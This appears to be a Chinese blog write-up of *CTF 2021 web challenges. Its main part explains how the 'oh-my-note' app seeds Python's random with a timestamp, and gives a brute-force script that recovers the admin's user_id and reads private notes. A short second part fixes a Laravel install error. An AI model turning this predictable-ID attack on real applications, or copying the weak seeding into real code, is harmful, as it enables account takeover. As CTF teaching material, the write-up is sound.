starctf-2021-review

摘要

*ctf-2021-docker : https://github.com/sixstars/starctf2021

oh-my-note

时间戳爆破

思路

给了代码,其中在create_note函数,存在可以通过时间戳爆破从而获取admin的权限。admin的相应信息位于note中的Nice day!页面

http://url/view/lj40n2p9qj9xkzy3zfzz7pucm6dmjg1u

分析-关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
app.route('/create_note', methods=['GET', 'POST'])
def create_note():
try:
form = CreateNoteForm()
if request.method == "POST":
username = form.username.data
title = form.title.data
text = form.body.data
prv = str(form.private.data)
user = User.query.filter_by(username=username).first()

if user:
user_id = user.user_id
else:
timestamp = round(time.time(), 4)
random.seed(timestamp)
user_id = get_random_id()
user = User(username=username, user_id=user_id)
db.session.add(user)
db.session.commit()
session['username'] = username

timestamp = round(time.time(), 4)

post_at = datetime.datetime.fromtimestamp(timestamp, tz=datetime.timezone.utc).strftime('%Y-%m-%d %H:%M UTC')

random.seed(user_id + post_at)
note_id = get_random_id()

note = Note(user_id=user_id, note_id=note_id,
title=title, text=text,
prv=prv, post_at=post_at)
db.session.add(note)
db.session.commit()
return redirect(url_for('index'))

else:
return render_template("create.html", form=form)
except Exception as e:
pass

可以看到其中的逻辑是,判断是否存在user,不存在的话就通过时间戳生成新的user。其中时间戳生成中,可以看到通过random.seed播种,调用get_random_id(下),生成固定随机数组成user_id。

1
2
3
def get_random_id():
alphabet = list(string.ascii_lowercase + string.digits)
return ''.join([random.choice(alphabet) for _ in range(32)])

而note_id通过user_id和post_at播种后,再次调用get_random_id生成固定的值。

通过题目得知,我们已知的admin页面的note_id值为lj40n2p9qj9xkzy3zfzz7pucm6dmjg1u。post_at的值为2021-01-15 02:29 UTC。那么我们就还需要知道user_id的值,也就是以下代码

1
2
3
timestamp = round(time.time(), 4)
random.seed(timestamp)
user_id = get_random_id()

其中题目UTC时间表示国际标准时间,与北京时间相差8小时,因此我们需要加上去,且时间精确到秒(题目只有分钟),故需要爆破60*10000次即可。参考脚本(改自星盟)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import random
import datetime
import time
import string
def get_random_id():
alphabet = list(string.ascii_lowercase + string.digits)
return ''.join([random.choice(alphabet) for _ in range(32)])
post_at = '2021-01-15 02:29 UTC'
for j in range(0,60):
post_at_time = time.strptime('2021-01-15 10:29:{} UTC'.format(j), '%Y-%m-%d %H:%M:%S UTC')
ta = int(time.mktime(post_at_time))
for i in range(0,10001):
t = ta + i/10000
random.seed(t)
u_id = get_random_id()
random.seed(u_id + post_at)
p_id = get_random_id()
if p_id == 'lj40n2p9qj9xkzy3zfzz7pucm6dmjg1u':
print(u_id)

最终获得admin的user_id为7bdeij4oiafjdypqyrl2znwk7w9lulgn。通过my_notes进入读取admin的文章

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@app.route('/my_notes')
def my_notes():
if session.get('username'):
username = session['username']
user_id = User.query.filter_by(username=username).first().user_id
else:
user_id = request.args.get('user_id')
if not user_id:
return redirect(url_for('index'))

results = Note.query.filter_by(user_id=user_id).limit(100).all()
notes = []
for x in results:
note = {}
note['title'] = x.title
note['note_id'] = x.note_id
notes.append(note)

return render_template("my_notes.html", notes=notes)

lottery again

安装过程报错

1
2
3
4

Warning: require_once(/var/www/html/bootstrap/../vendor/autoload.php): failed to open stream: No such file or directory in /var/www/html/bootstrap/app.php on line 3

Fatal error: require_once(): Failed opening required '/var/www/html/bootstrap/../vendor/autoload.php' (include_path='.:/usr/local/lib/php') in /var/www/html/bootstrap/app.php on line 3

翻文档参考

Installation - Laravel - The PHP Framework For Web Artisans

Failed Opening autoload.php in Laravel 5

缺少vendor文件夹,运行以下即可

1
2
3
4
5
apt-get update
apt-get install git#之后需要用到https://github.com/settings/tokens私人token进行laravel更新
//进入docker执行
php composer.phar install --ignore-platform-reqs
php composer.phar update --no-scripts
-------------本文结束 感谢阅读-------------